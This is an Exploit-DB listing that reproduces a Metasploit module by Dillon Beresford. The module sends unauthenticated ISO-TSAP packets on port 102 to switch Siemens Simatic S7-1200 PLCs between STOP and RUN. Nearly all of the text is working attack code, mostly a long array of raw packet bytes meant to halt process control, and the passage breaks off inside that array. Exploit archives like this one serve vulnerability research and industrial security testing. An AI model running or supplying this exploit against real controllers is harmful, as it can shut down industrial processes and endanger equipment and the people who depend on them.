Exploit-DB #19833
Description: Siemens Simatic S7-1200 - CPU START/STOP Module (Metasploit)
Type: remote
Platform: hardware
Date: 2012-07-14
Author: Dillon Beresford

Exploit:
# Exploit Title: Siemens Simatic S7 1200 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-1200 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
	
	include Msf::Exploit::Remote::Tcp
	include Rex::Socket::Tcp
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
		  'Name'=> 'Siemens Simatic S7-1200 CPU START/STOP Module',
		  'Description'   => %q{
				The Siemens Simatic S7-1200 S7 CPU start and stop functions over ISO-TSAP
				this modules allows an attacker to perform administrative commands without authentication.
				This module allows a remote user to change the state of the PLC between
				STOP and START, allowing an attacker to end process control by the PLC.
			},
		  'Author'			=> 'Dillon Beresford',
		  'License'     			=> MSF_LICENSE,
		  'References'     =>
				[
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
				],
			'Version'        => '$Revision$',
		  'DisclosureDate' => 'May 09 2011'
		  ))
		   
		  register_options(
  			  [
  				  Opt::RPORT(102),
  				  OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
  				  OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
  		    ], self.class)
  		end
	
	def run_host(ip)
		begin
		
		cpu = datastore['MODE'] || ''
		cycles = datastore['CYCLES'] || ''
		
		stop_cpu_pkt = [ 
				
				"\x03\x00\x00\x16\x11\xe0\x00\x00"+
				"\x00\x3a\x00\xc1\x02\x06\x00\xc2"+
				"\x02\x06\x00\xc0\x01\x0a",
				
				"\x03\x00\x00\xad\x02\xf0\x80\x72"+
				"\x01\x00\x9e\x31\x00\x00\x04\xca"+
				"\x00\x00\x00\x01\x00\x00\x01\x20"+
				"\x30\x00\x00\x01\x1d\x00\x04\x00"+
				"\x00\x00\x00\x00\xa1\x00\x00\x00"+
				"\xd3\x82\x1f\x00\x00\xa3\x81\x69"+
				"\x00\x15\x16\x53\x65\x72\x76\x65"+
				"\x72\x53\x65\x73\x73\x69\x6f\x6e"+
				"\x5f\x38\x43\x33\x32\x38\x46\x37"+
				"\x32\xa3\x82\x21\x00\x15\x00\xa3"+
				"\x82\x28\x00\x15\x00\xa3\x82\x29"+
				"\x00\x15\x00\xa3\x82\x2a\x00\x15"+
				"\x09\x50\x4c\x43\x54\x45\x53\x54"+
				"\x45\x52\xa3\x82\x2b\x00\x04\x01"+
				"\xa3\x82\x2c\x00\x12\x01\xc9\xc3"+
				"\x80\xa3\x82\x2d\x00\x15\x00\xa1"+
				"\x00\x00\x00\xd3\x81\x7f\x00\x00"+
				"\xa3\x81\x69\x00\x15\x15\x53\x75"+
				"\x62\x73\x63\x72\x69\x70\x74\x69"+
				"\x6f\x6e\x43\x6f\x6e\x74\x61\x69"+
				"\x6e\x65\x72\xa2\xa2\x00\x00\x00"+
				"\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x40\x02\xf0\x80\x72"+
				"\x01\x00\x31\x31\x00\x00\x04\xfc"+
				"\x00\x00\x00\x02\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x32\x01\x9a\x7b"+
				"\x00\x00\x04\xe8\x89\x69\x00\x12"+
				"\x00\x00\x00\x00\x89\x6a\x00\x13"+
				"\x00\x89\x6b\x00\x04\x00\x00\x00"+
				"\x00\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x03\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x20\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x04\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x31\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x05\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x32\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x06\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x33\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x07\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x34\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x08\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x40\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x09\x00\x00\x03\x84"+
				"\x30\x88\xe1\x00\x08\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x0a\x00\x00\x03\x84"+
				"\x30\x88\xe1\x00\x07\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x0b\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x21\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x27\x02\xf0\x80\x72"+
				"\x01\x00\x18\x31\x00\x00\x05\x24"+
				"\x00\x00\x00\x0c\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x41\x91\x5e\x00"+
				"\x00\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03\x00\x00\x46\x02\xf0\x80\x72"+
				"\x01\x00\x37\x31\x00\x00\x05\x4c"+
				"\x00\x00\x00\x0d\x00\x00\x03\x84"+
				"\x30\x00\x00\x00\x20\x04\x04\x91"+
				"\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
				"\x00\x04\xe8\x89\x69\x00\x12\x00"+
				"\x00\x00\x00\x89\x6a\x00\x13\x00"+
				"\x89\x6b\x00\x04\x00\x00\x00\x00"+
				"\x00\x00\x72\x01\x00\x00",
				
				"\x03\x00\x00\x07\x02\xf0\x00",
				
				"\x03